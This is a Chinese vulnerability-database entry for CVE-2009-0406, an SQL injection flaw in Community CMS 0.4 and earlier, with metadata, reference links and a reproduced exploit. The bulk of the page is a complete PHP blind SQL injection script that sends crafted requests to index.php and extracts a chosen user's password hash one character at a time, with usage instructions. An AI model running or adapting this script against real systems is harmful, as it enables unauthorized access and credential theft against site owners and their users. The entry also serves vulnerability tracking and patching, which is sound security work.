community_cms SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117319 漏洞类型 SQL注入
发布时间 2009-01-28 更新时间 2009-02-10
CVE编号 CVE-2009-0406 CNNVD-ID CNNVD-200902-053
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7892
https://cxsecurity.com/issue/WLB-2009020113
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-053
|漏洞详情
CommunityCMS0.4及之前版本中的index.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);

	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);
	$fp = fsockopen ($hostname, 80);
	
	$query = query ($user, $pos, $chr);
	$get =  "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
	
	fputs ($fp, $get);

	while (!feof ($fp))
		$x .= fgets ($fp, 1024);
	
	fclose ($fp);
	
	if (preg_match ("/Failed to load page/", $x))
		return false;
	else
		return true;
	
}

function usage () {
	exit (
		"Community CMS <= 0.4 Blind SQL Injection Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
		"\n[+] Usage   : php xpl.php <localhost> <path> <username>".
		"\n[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
		"\n[+] Greetz  : certaindeath".
		"\n\n");
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-28]
|参考资料

来源:XF
名称:communitycms-index-sql-injection(48304)
链接:http://xforce.iss.net/xforce/xfdb/48304
来源:BID
名称:33484
链接:http://www.securityfocus.com/bid/33484
来源:MILW0RM
名称:7892
链接:http://www.milw0rm.com/exploits/7892
来源:VUPEN
名称:ADV-2009-0265
链接:http://www.frsirt.com/english/advisories/2009/0265